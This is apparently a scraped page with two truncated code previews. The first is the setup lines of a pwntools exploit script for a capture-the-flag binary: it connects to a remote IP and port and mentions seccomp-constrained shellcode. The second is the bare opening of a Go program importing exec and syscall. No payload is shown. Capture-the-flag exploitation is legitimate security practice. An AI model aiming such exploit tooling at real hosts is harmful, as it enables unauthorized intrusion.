This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
local = False | |
binary = ELF('./pwn2-box.bin') | |
context.arch = 'amd64' | |
p = process('./pwn2-box.bin') if local else remote('35.170.14.27', 9002) | |
# Custom shellcode using allowed seccomp sandbox syscalls to communicate with the child process |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"fmt" | |
"os" | |
"os/exec" | |
"syscall" | |
) | |
func main() { |